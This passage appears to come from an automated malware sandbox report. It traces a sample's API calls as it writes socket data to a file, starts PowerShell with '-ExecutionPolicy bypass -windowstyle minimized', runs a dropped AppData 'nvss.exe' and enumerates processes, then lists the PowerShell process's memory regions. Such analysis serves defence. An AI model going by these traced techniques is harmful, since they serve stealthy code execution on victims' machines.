lpBuffer=0x2bf1a20*, lpNumberOfBytesWritten=0x5c7ec9c*=0x1000, lpOverlapped=0x0) returned 1 [0055.740] GetLastError () returned 0x0 [0055.740] WriteFile (in: hFile=0x374, lpBuffer=0x2be1d10*, nNumberOfBytesToWrite=0xfad0, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2be1d10*, lpNumberOfBytesWritten=0x5c7ec9c*=0xfad0, lpOverlapped=0x0) returned 1 [0055.740] GetLastError () returned 0x0 [0055.740] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 7260 [0055.740] GetLastError () returned 0x0 [0055.741] WriteFile (in: hFile=0x374, lpBuffer=0x2be196c*, nNumberOfBytesToWrite=0x1c5c, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2be196c*, lpNumberOfBytesWritten=0x5c7ec9c*=0x1c5c, lpOverlapped=0x0) returned 1 [0055.741] GetLastError () returned 0x0 [0055.741] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 1452 [0055.741] GetLastError () returned 0x0 [0055.741] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 55176 [0055.753] GetLastError () returned 0x0 [0055.753] WriteFile (in: hFile=0x374, lpBuffer=0x2bf1a20*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2bf1a20*, lpNumberOfBytesWritten=0x5c7ec9c*=0x1000, lpOverlapped=0x0) returned 1 [0055.753] GetLastError () returned 0x0 [0055.753] WriteFile (in: hFile=0x374, lpBuffer=0x2be23c0*, nNumberOfBytesToWrite=0xcd34, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2be23c0*, lpNumberOfBytesWritten=0x5c7ec9c*=0xcd34, lpOverlapped=0x0) returned 1 [0055.754] GetLastError () returned 0x0 [0055.754] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 8712 [0055.754] GetLastError () returned 0x0 [0055.754] WriteFile (in: hFile=0x374, lpBuffer=0x2be196c*, nNumberOfBytesToWrite=0x2208, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2be196c*, lpNumberOfBytesWritten=0x5c7ec9c*=0x2208, lpOverlapped=0x0) returned 1 [0055.755] GetLastError () returned 0x0 [0055.755] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 2904 [0055.755] GetLastError () returned 0x0 [0055.755] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 52272 [0055.787] GetLastError () returned 0x0 [0055.787] WriteFile (in: hFile=0x374, lpBuffer=0x2bf1a20*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2bf1a20*, lpNumberOfBytesWritten=0x5c7ec9c*=0x1000, lpOverlapped=0x0) returned 1 [0055.787] GetLastError () returned 0x0 [0055.787] WriteFile (in: hFile=0x374, lpBuffer=0x2be1e14*, nNumberOfBytesToWrite=0xc788, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2be1e14*, lpNumberOfBytesWritten=0x5c7ec9c*=0xc788, lpOverlapped=0x0) returned 1 [0055.788] GetLastError () returned 0x0 [0055.788] recv (in: s=0x4ec, buf=0x2be196c, len=65536, flags=0 | out: buf=0x2be196c*) returned 63888 [0055.815] GetLastError () returned 0x0 [0055.815] WriteFile (in: hFile=0x374, lpBuffer=0x2be196c*, nNumberOfBytesToWrite=0xf990, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2be196c*, lpNumberOfBytesWritten=0x5c7ec9c*=0xf990, lpOverlapped=0x0) returned 1 [0055.816] GetLastError () returned 0x0 [0055.816] recv (in: s=0x4ec, buf=0x2be196c, len=25915, flags=0 | out: buf=0x2be196c*) returned 5808 [0055.816] GetLastError () returned 0x0 [0055.816] WriteFile (in: hFile=0x374, lpBuffer=0x2be196c*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2be196c*, lpNumberOfBytesWritten=0x5c7ec9c*=0x16b0, lpOverlapped=0x0) returned 1 [0055.816] GetLastError () returned 0x0 [0055.816] recv (in: s=0x4ec, buf=0x2be196c, len=20107, flags=0 | out: buf=0x2be196c*) returned 20107 [0055.820] GetLastError () returned 0x0 [0055.820] SetEvent (hEvent=0x378) returned 1 [0055.821] GetLastError () returned 0x0 [0055.821] WriteFile (in: hFile=0x374, lpBuffer=0x2be196c*, nNumberOfBytesToWrite=0x4e8b, lpNumberOfBytesWritten=0x5c7ec9c, lpOverlapped=0x0 | out: lpBuffer=0x2be196c*, lpNumberOfBytesWritten=0x5c7ec9c*=0x4e8b, lpOverlapped=0x0) returned 1 [0055.821] GetLastError () returned 0x0 [0055.821] CloseHandle (hObject=0x374) returned 1 [0055.824] GetLastError () returned 0x0 [0055.838] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x355988, nSize=0x80 | out: lpBuffer="") returned 0x0 [0055.838] GetLastError () returned 0xcb [0055.857] SHGetFileInfoA (in: pszPath="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", dwFileAttributes=0x0, psfi=0x355988, cbFileInfo=0x160, uFlags=0x2000 | out: psfi=0x355988) returned 0x4550 [0055.859] GetConsoleWindow () returned 0x7009e [0055.860] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x355988, nSize=0x80 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0055.860] GetLastError () returned 0x0 [0055.860] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x355988, nSize=0x80 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0055.860] GetLastError () returned 0x0 [0055.862] CommandLineToArgvW (in: lpCmdLine=" -ExecutionPolicy bypass -noprofile -windowstyle minimized -command", pNumArgs=0x5c7eec8 | out: pNumArgs=0x5c7eec8) returned 0x2f31e8*="" [0055.862] GetLastError () returned 0x0 [0055.862] lstrlenW (lpString="-ExecutionPolicy") returned 16 [0055.863] RtlMoveMemory (in: Destination=0x355988, Source=0x2f320a, Length=0x22 | out: Destination=0x355988) [0055.863] lstrlenW (lpString="bypass") returned 6 [0055.863] RtlMoveMemory (in: Destination=0x355988, Source=0x2f322c, Length=0xe | out: Destination=0x355988) [0055.863] lstrlenW (lpString="-noprofile") returned 10 [0055.863] RtlMoveMemory (in: Destination=0x355988, Source=0x2f323a, Length=0x16 | out: Destination=0x355988) [0055.863] lstrlenW (lpString="-windowstyle") returned 12 [0055.863] RtlMoveMemory (in: Destination=0x355988, Source=0x2f3250, Length=0x1a | out: Destination=0x355988) [0055.863] lstrlenW (lpString="minimized") returned 9 [0055.863] RtlMoveMemory (in: Destination=0x355988, Source=0x2f326a, Length=0x14 | out: Destination=0x355988) [0055.863] lstrlenW (lpString="-command") returned 8 [0055.863] RtlMoveMemory (in: Destination=0x355988, Source=0x2f327e, Length=0x12 | out: Destination=0x355988) [0055.864] LocalFree (hMem=0x2f31e8) returned 0x0 [0055.865] GetConsoleTitleW (in: lpConsoleTitle=0x355988, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0055.866] GetLastError () returned 0x7f [0055.868] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy bypass -noprofile -windowstyle minimized -command", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kFT6uTQW\\Desktop", lpStartupInfo=0x355988*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2bf993c | out: lpCommandLine="\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy bypass -noprofile -windowstyle minimized -command", lpProcessInformation=0x2bf993c*(hProcess=0x4e8, hThread=0x374, dwProcessId=0xa6c, dwThreadId=0xa70)) returned 1 [0055.871] GetLastError () returned 0x7f [0055.884] CloseHandle (hObject=0x374) returned 1 [0055.884] GetLastError () returned 0x7f [0055.884] SHGetFileInfoA (in: pszPath="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", dwFileAttributes=0x0, psfi=0x355988, cbFileInfo=0x160, uFlags=0x2000 | out: psfi=0x355988) returned 0x4550 [0055.885] GetCurrentProcess () returned 0xffffffff [0055.885] GetLastError () returned 0x0 [0055.885] GetCurrentProcess () returned 0xffffffff [0055.885] GetLastError () returned 0x0 [0055.886] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x4e8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x5c7ee88, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x5c7ee88*=0x374) returned 1 [0055.886] GetLastError () returned 0x0 [0057.821] CloseHandle (hObject=0x374) returned 1 [0057.821] GetLastError () returned 0x0 [0057.821] GetExitCodeProcess (in: hProcess=0x4e8, lpExitCode=0x5c7ef08 | out: lpExitCode=0x5c7ef08*=0xfffd0000) returned 1 [0057.821] GetLastError () returned 0x0 [0057.823] SetConsoleTitleW (lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 1 [0057.823] GetLastError () returned 0x0 [0057.823] CloseHandle (hObject=0x4e8) returned 1 [0057.823] GetLastError () returned 0x0 [0057.848] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x355988, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.848] GetLastError () returned 0xcb [0057.849] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x355988, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21 [0057.849] GetLastError () returned 0xcb [0057.849] GetEnvironmentVariableW (in: lpName="APPDATA", lpBuffer=0x355988, nSize=0x80 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x21 [0057.849] GetLastError () returned 0xcb [0057.857] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x355988, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.857] GetLastError () returned 0xcb [0057.879] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", nBufferLength=0x105, lpBuffer=0x5c7e600, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", lpFilePart=0x0) returned 0x2a [0057.879] GetLastError () returned 0xcb [0057.879] SetErrorMode (uMode=0x1) returned 0x1 [0057.879] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\nvss.exe"), fInfoLevelId=0x0, lpFileInformation=0x2c23d80 | out: lpFileInformation=0x2c23d80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdc00de80, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xdc00de80, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xdc7ca600, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x62600)) returned 1 [0057.879] GetLastError () returned 0xcb [0057.879] SetErrorMode (uMode=0x1) returned 0x1 [0057.880] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", nBufferLength=0x105, lpBuffer=0x5c7e8e8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", lpFilePart=0x0) returned 0x2a [0057.880] GetLastError () returned 0xcb [0057.880] SetErrorMode (uMode=0x1) returned 0x1 [0057.880] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\nvss.exe"), fInfoLevelId=0x0, lpFileInformation=0x5c7ed68 | out: lpFileInformation=0x5c7ed68*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdc00de80, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xdc00de80, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xdc7ca600, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x62600)) returned 1 [0057.880] GetLastError () returned 0xcb [0057.881] SetErrorMode (uMode=0x1) returned 0x1 [0057.881] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", nBufferLength=0x105, lpBuffer=0x5c7e8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", lpFilePart=0x0) returned 0x2a [0057.881] GetLastError () returned 0xcb [0057.881] SetErrorMode (uMode=0x1) returned 0x1 [0057.881] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe" (normalized: "c:\\users\\kft6utqw\\appdata\\roaming\\nvss.exe"), fInfoLevelId=0x0, lpFileInformation=0x5c7ed30 | out: lpFileInformation=0x5c7ed30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdc00de80, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xdc00de80, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xdc7ca600, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x62600)) returned 1 [0057.881] GetLastError () returned 0xcb [0057.881] SetErrorMode (uMode=0x1) returned 0x1 [0057.882] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x355988, nSize=0x80 | out: lpBuffer="") returned 0x0 [0057.882] GetLastError () returned 0xcb [0057.887] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x5c7e664, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0057.887] GetLastError () returned 0xcb [0057.887] SetErrorMode (uMode=0x1) returned 0x1 [0057.887] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2c29de0 | out: lpFileInformation=0x2c29de0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xccf7a040, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xccf7a040, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0057.887] GetLastError () returned 0xcb [0057.887] SetErrorMode (uMode=0x1) returned 0x1 [0057.887] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop", nBufferLength=0x105, lpBuffer=0x5c7e66c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop", lpFilePart=0x0) returned 0x19 [0057.887] GetLastError () returned 0xcb [0057.887] SetErrorMode (uMode=0x1) returned 0x1 [0057.887] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\Desktop" (normalized: "c:\\users\\kft6utqw\\desktop"), fInfoLevelId=0x0, lpFileInformation=0x2c29f7c | out: lpFileInformation=0x2c29f7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xa7fbf110, ftCreationTime.dwHighDateTime=0x1d2e631, ftLastAccessTime.dwLowDateTime=0xccf7a040, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xccf7a040, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0057.887] GetLastError () returned 0xcb [0057.887] SetErrorMode (uMode=0x1) returned 0x1 [0057.892] LocalAlloc (uFlags=0x0, uBytes=0x56) returned 0x33c830 [0057.893] RtlMoveMemory (in: Destination=0x33c830, Source=0x2c253a4, Length=0x56 | out: Destination=0x33c830) [0057.893] LocalAlloc (uFlags=0x0, uBytes=0x34) returned 0x2de040 [0057.893] RtlMoveMemory (in: Destination=0x2de040, Source=0x2c2b0d4, Length=0x34 | out: Destination=0x2de040) [0058.074] LocalFree (hMem=0x33c830) returned 0x0 [0058.074] GetLastError () returned 0x0 [0058.074] LocalFree (hMem=0x2de040) returned 0x0 [0058.074] GetLastError () returned 0x0 [0058.076] NtQueryInformationProcess (in: ProcessHandle=0x5dc, ProcessInformationClass=0x0, ProcessInformation=0x2c2b6a8, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x2c2b6a8, ReturnLength=0x0) returned 0x0 [0058.078] EnumProcesses (in: lpidProcess=0x2c2b6cc, cb=0x400, lpcbNeeded=0x5c7ee84 | out: lpidProcess=0x2c2b6cc, lpcbNeeded=0x5c7ee84) returned 1 [0058.080] GetLastError () returned 0x0 [0058.082] SetEvent (hEvent=0x3a8) returned 1 [0058.082] GetLastError () returned 0x0 [0058.082] SetEvent (hEvent=0x3a0) returned 1 [0058.082] GetLastError () returned 0x0 [0058.082] SetEvent (hEvent=0x3c0) returned 1 [0058.082] GetLastError () returned 0x0 [0058.082] SetEvent (hEvent=0x384) returned 1 [0058.082] GetLastError () returned 0x0 [0058.082] SetEvent (hEvent=0x314) returned 1 [0058.082] GetLastError () returned 0x0 [0058.082] SetEvent (hEvent=0x3ac) returned 1 [0058.082] GetLastError () returned 0x0 [0058.082] SetEvent (hEvent=0x3b0) returned 1 [0058.082] GetLastError () returned 0x0 [0058.082] SetEvent (hEvent=0x310) returned 1 [0058.082] GetLastError () returned 0x0 [0058.082] SetEvent (hEvent=0x334) returned 1 [0058.087] GetLastError () returned 0x0 [0058.089] CoUninitialize () Thread: id = 49 os_tid = 0xa60 Thread: id = 50 os_tid = 0xa64 Thread: id = 51 os_tid = 0xa68 [0055.290] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0055.291] ResetEvent (hEvent=0x378) returned 1 [0055.291] GetLastError () returned 0x0 Thread: id = 58 os_tid = 0xa8c [0057.895] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0057.898] ShellExecuteExW (in: pExecInfo=0x2c2b4e4*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", lpParameters=0x0, lpDirectory="C:\\Users\\kFT6uTQW\\Desktop", nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x2c2b4e4*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe", lpParameters=0x0, lpDirectory="C:\\Users\\kFT6uTQW\\Desktop", nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x5dc)) returned 1 [0058.035] GetLastError () returned 0x0 [0058.035] CoGetContextToken (in: pToken=0x5f0f468 | out: pToken=0x5f0f468) returned 0x0 [0058.036] CoUninitialize () Thread: id = 60 os_tid = 0xa98 [0058.140] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0058.152] SetThreadUILanguage (LangId=0x0) returned 0x409 [0058.153] VirtualQuery (in: lpAddress=0x6c7e130, lpBuffer=0x6c7f130, dwLength=0x1c | out: lpBuffer=0x6c7f130*(BaseAddress=0x6c7e000, AllocationBase=0x62f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.154] VirtualQuery (in: lpAddress=0x6c7e24c, lpBuffer=0x6c7f24c, dwLength=0x1c | out: lpBuffer=0x6c7f24c*(BaseAddress=0x6c7e000, AllocationBase=0x62f0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.159] SetEvent (hEvent=0x580) returned 1 [0058.159] GetLastError () returned 0x0 [0058.159] SetEvent (hEvent=0x578) returned 1 [0058.159] GetLastError () returned 0x0 [0058.159] SetEvent (hEvent=0x590) returned 1 [0058.159] GetLastError () returned 0x0 [0058.159] SetEvent (hEvent=0x580) returned 1 [0058.159] GetLastError () returned 0x0 [0058.159] SetEvent (hEvent=0x578) returned 1 [0058.159] GetLastError () returned 0x0 [0058.159] SetEvent (hEvent=0x5f0) returned 1 [0058.159] GetLastError () returned 0x0 [0058.159] SetEvent (hEvent=0x5e8) returned 1 [0058.159] GetLastError () returned 0x0 [0058.160] SetEvent (hEvent=0x5a4) returned 1 [0058.160] GetLastError () returned 0x0 [0058.160] SetEvent (hEvent=0x5ec) returned 1 [0058.160] GetLastError () returned 0x0 [0058.160] SetEvent (hEvent=0x5f4) returned 1 [0058.160] GetLastError () returned 0x0 [0058.160] CoUninitialize () Process: id = "6" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x72e27000" os_pid = "0xa6c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xa40" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -ExecutionPolicy bypass -noprofile -windowstyle minimized -command" cur_dir = "C:\\Users\\kFT6uTQW\\Desktop\\" os_username = "XABNCPUWKW\\kFT6uTQW" os_groups = "XABNCPUWKW\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8ae" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1037 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1038 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1039 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1040 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1041 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1042 start_va = 0xf0000 end_va = 0x12ffff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 1043 start_va = 0x1e0000 end_va = 0x21ffff entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1044 start_va = 0x21950000 end_va = 0x219c1fff entry_point = 0x21957363 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 1045 start_va = 0x776c0000 end_va = 0x77868fff entry_point = 0x776c0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1046 start_va = 0x778a0000 end_va = 0x77a1ffff entry_point = 0x778a0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1047 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1048 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1049 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1050 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1051 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1052 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1053 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1054 start_va = 0x390000 end_va = 0x40ffff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 1055 start_va = 0x73fd0000 end_va = 0x73fd7fff entry_point = 0x73fd20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1056 start_va = 0x73fe0000 end_va = 0x7403bfff entry_point = 0x7401f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1057 start_va = 0x74040000 end_va = 0x7407efff entry_point = 0x7406de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1058 start_va = 0x774a0000 end_va = 0x77599fff entry_point = 0x0 region_type = private name = "private_0x00000000774a0000" filename = "" Region: id = 1059 start_va = 0x775a0000 end_va = 0x776befff entry_point = 0x0 region_type = private name = "private_0x00000000775a0000" filename = "" Region: id = 1060 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1061 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1062 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1063 start_va = 0x170000 end_va = 0x17ffff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 1064 start_va = 0x580000 end_va = 0x67ffff entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 1065 start_va = 0x73b50000 end_va = 0x73b63fff entry_point = 0x73b51da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 1066 start_va = 0x74230000 end_va = 0x74279fff entry_point = 0x74232e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 1067 start_va = 0x753f0000 end_va = 0x753fbfff entry_point = 0x753f10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1068 start_va = 0x75400000 end_va = 0x7545ffff entry_point = 0x7541a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 1069 start_va = 0x755a0000 end_va = 0x7564bfff entry_point = 0x755aa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 1070 start_va = 0x763f0000 end_va = 0x7648ffff entry_point = 0x764049e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 1071 start_va = 0x76520000 end_va = 0x7662ffff entry_point = 0x765332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: 